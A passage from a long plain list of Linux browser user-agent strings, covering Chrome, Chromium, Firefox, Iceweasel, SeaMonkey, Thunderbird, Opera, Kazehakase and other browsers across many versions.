(X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Chromium/12.0.742.91 Safari/534.30\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.33 (KHTML, like Gecko) Ubuntu/9.10 Chromium/13.0.752.0 Chrome/13.0.752.0 Safari/534.33\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.804.0 Chrome/14.0.804.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.803.0 Chrome/14.0.803.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.814.0 Chrome/14.0.814.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21\nMozilla/5.0 (X11; Linux i686) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.22 (KHTML like Gecko) Ubuntu Chromium/25.0.1364.160 Chrome/25.0.1364.160 Safari/537.22\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.36\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2166.2 Safari/537.36\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36\nMozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.78 Chrome/60.0.3112.78 Safari/537.36\nMozilla/5.0 (X11; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.8.6 Safari/538.1\nMozilla/5.0 (X11; Linux i686; Debian Testing; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Iceweasel/7.0.1\nMozilla/5.0 (X11; Linux i686; U) Opera 7.54  [en]\nMozilla/5.0 (X11; Linux i686; U) Opera 7.54 [en]\nMozilla/5.0 (X11; Linux i686; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (X11; Linux i686; U; en) Opera 8.52\nMozilla/5.0 (X11; Linux i686; U; en) Opera 9.00\nMozilla/5.0 (X11; Linux i686; U; en) Opera 9.01\nMozilla/5.0 (X11; Linux i686; U; en) Opera 9.02\nMozilla/5.0 (X11; Linux i686; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21\nMozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23\nMozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51\nMozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63\nMozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (X11; Linux i686; U; nb; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20\nMozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21\nMozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (X11; Linux i686; U; rv:1.7) Gecko/0 Kazehakase/0.4.3\nMozilla/5.0 (X11; Linux i686; U;)  Gecko/0 Kazehakase/0.3.5\nMozilla/5.0 (X11; Linux i686; U;) AppleWebKit/146.1 (KHTML, like Gecko) Kazehakase0.4.5\nMozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.1\nMozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.8\nMozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.3.9\nMozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.4.3\nMozilla/5.0 (X11; Linux i686; U;) Gecko/0 Kazehakase/0.4.3 Debian/0.4.3-1ubuntu1\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20050923 Kazehakase/0.2.8 Debian/0.2.8-1ubuntu2\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20050923 Kazehakase/0.3.9\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20051128 Kazehakase/0.3.3 Debian/0.3.3-1\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20060216 Kazehakase/0.4.2\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20060717 Kazehakase/0.3.8 Debian/0.3.8-2\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20070224 Kazehakase/0.3.9\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20070304 Kazehakase/0.4.6\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.7\nMozilla/5.0 (X11; Linux i686; U;) Gecko/20070610 Kazehakase/0.4.7\nMozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1\nMozilla/5.0 (X11; Linux i686; rv: 5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0\nMozilla/5.0 (X11; Linux i686; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 Iceweasel/10.0\nMozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (X11; Linux i686; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6\nMozilla/5.0 (X11; Linux i686; rv:10.0.7) Gecko/20100101 Firefox/10.0.7 Iceweasel/10.0.7\nMozilla/5.0 (X11; Linux i686; rv:10.0.7) Gecko/20100101 Iceweasel/10.0.7\nMozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0\nMozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1\nMozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 SeaMonkey/2.9.1\nMozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1 Iceweasel/13.0.1\nMozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20120604 Firefox/13.0 SeaMonkey/2.10 Lightning/1.5.1\nMozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20120615 Thunderbird/13.0.1\nMozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20120615 Thunderbird/13.0.1 Lightning/1.5.1\nMozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0 Iceweasel/14.0\nMozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Iceweasel/14.0.1\nMozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20120714 Thunderbird/14.0\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0 Iceweasel/15.0\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1 Iceweasel/15.0.1\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120827 Thunderbird/15.0\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120910 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20120912 Thunderbird/15.0.1\nMozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0\nMozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20120906 SeaMonkey/2.13\nMozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20121011 Thunderbird/16.0.1\nMozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7\nMozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/3.6\nMozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20110322 Firefox/4.0 Iceweasel/4.0\nMozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110518 Firefox/4.0.1\nMozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1\nMozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Lightning/1.0b4pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b10) Gecko/20100101 Firefox/4.0b10\nMozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20100101 Firefox/4.0b12pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 SeaMonkey/2.1b3pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b13pre) Gecko/20110316 SeaMonkey/2.1b3pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b13pre) Gecko/20110321 SeaMonkey/2.1b3pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b7pre) Gecko/20101008 Firefox/4.0b7pre SeaMonkey/2.1b1\nMozilla/5.0 (X11; Linux i686; rv:2.0b7pre) Gecko/20101103 Firefox/4.0b8pre Fennec/4.0b2\nMozilla/5.0 (X11; Linux i686; rv:2.0b8) Gecko/20101227 IceCat/4.0b8\nMozilla/5.0 (X11; Linux i686; rv:2.0b9pre) Gecko/20101230 SeaMonkey/2.1b2pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b9pre) Gecko/20101231 SeaMonkey/2.1b2pre\nMozilla/5.0 (X11; Linux i686; rv:2.0b9pre) Gecko/20110101 SeaMonkey/2.1b2pre\nMozilla/5.0 (X11; Linux i686; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (X11; Linux i686; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (X11; Linux i686; rv:2.2a1pre) Gecko/20110324 SeaMonkey/2.1b3pre\nMozilla/5.0 (X11; Linux i686; rv:2.2a1pre) Gecko/20110327 SeaMonkey/2.2a1pre\nMozilla/5.0 (X11; Linux i686; rv:2.2a1pre) Gecko/20110407 SeaMonkey/2.2a1pre\nMozilla/5.0 (X11; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0\nMozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (X11; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0\nMozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0\nMozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25\nMozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28a1\nMozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0\nMozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0\nMozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0\nMozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0\nMozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0\nMozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0 SeaMonkey/2.46\nMozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0\nMozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0\nMozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2\nMozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1\nMozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20111106 IceCat/7.0.1\nMozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110526 SeaMonkey/2.2a1pre\nMozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110530 SeaMonkey/2.2a1pre\nMozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110603 SeaMonkey/2.2a1pre\nMozilla/5.0 (X11; Linux i686; rv:7.0a1) Gecko/20110604 SeaMonkey/2.2a1pre\nMozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0\nMozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0 Iceweasel/8.0\nMozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Iceweasel/9.0.1\nMozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20120127 SeaMonkey/2.6.1\nMozilla/5.0 (X11; Linux i686; rv:9.0a2) Gecko/20111104 Firefox/9.0a2 Iceweasel/9.0a2\nMozilla/5.0 (X11; Linux ppc; rv:10.0.7) Gecko/20100101 Firefox/10.0.7 Iceweasel/10.0.7\nMozilla/5.0 (X11; Linux ppc; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Arora/0.10.2 Safari/534.34\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.824.0 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.10 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/10.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/11.10 Chromium/18.0.1025.142 Chrome/18.0.1025.142 Safari/535.19\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1042.0 Safari/535.21\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.21 (KHTML, like Gecko) konqueror/4.14.10 Safari/537.21\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.32 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.32 Epiphany/3.8.2\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.125 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 Vivaldi/1.0.344.37\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2876.0 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/33.0.1750.152 Chrome/33.0.1750.152 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.56 Safari/537.4\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.9.0 Safari/538.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/604.1 (KHTML, like Gecko) Version/11.0 Safari/604.1 Ubuntu/17.04 (3.24.1-0ubuntu1) Epiphany/3.24.1\nMozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0\nMozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62\nMozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60\nMozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63\nMozilla/5.0 (X11; Linux x86_64; U;) Gecko/20070610 Kazehakase/0.4.7\nMozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre\nMozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0 Iceweasel/10.0\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.11) Gecko/20100101 conkeror/1.0pre (Debian-1.0~~pre+git120527-1)\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20120216 Firefox/10.0.2 SeaMonkey/2.7.2\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.6) Gecko/20100101 Firefox/10.0.6 Iceweasel/10.0.6\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.7) Gecko/20100101 Firefox/10.0.7 Iceweasel/10.0.7\nMozilla/5.0 (X11; Linux x86_64; rv:10.0a2) Gecko/20111118 Firefox/10.0a2 Iceweasel/10.0a2\nMozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2\nMozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Debian Iceweasel/14.0\nMozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120427 Firefox/12.0 SeaMonkey/2.9\nMozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120501 Firefox/12.0 SeaMonkey/2.9.1 Lightning/1.4\nMozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120721 Debian Iceweasel/15.0\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0 Iceweasel/13.0\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Iceweasel/13.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120604 Firefox/13.0 SeaMonkey/2.10\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120615 Thunderbird/13.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20120615 Thunderbird/13.0.1 Lightning/1.5.1\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0 Iceweasel/14.0\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Iceweasel/14.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120714 Thunderbird/14.0\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120714 Thunderbird/14.0 Lightning/1.6\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120817 Firefox/14.0.1 SeaMonkey/2.11\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20120817 SeaMonkey/2.11\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0 Iceweasel/15.0\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1 Iceweasel/15.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120724 Debian Iceweasel/15.0\nMozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120724 Debian Iceweasel/15.02\nMozilla/5.0 (X11; Linux 